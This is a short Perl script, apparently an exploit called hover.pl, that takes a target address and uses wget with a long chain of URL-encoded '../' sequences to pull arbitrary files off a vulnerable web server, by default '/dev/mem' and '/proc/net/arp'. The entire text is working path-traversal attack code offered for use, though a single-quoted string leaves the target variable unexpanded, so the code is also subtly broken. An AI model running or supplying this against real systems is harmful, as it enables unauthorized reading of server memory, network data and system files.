#! /usr/bin/perl

@ARGV || die "Usage: hover.pl IP:PORT [remotepathlist]";

$arg = shift @ARGV;
$preamble = 'http://$arg/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..';

if (@ARGV) { @toget = @ARGV; } else {@toget = ( '/dev/mem' , '/proc/net/arp' );}

foreach (@toget)
{
   print qx{wget --no-check-certificate $preamble$_};
}

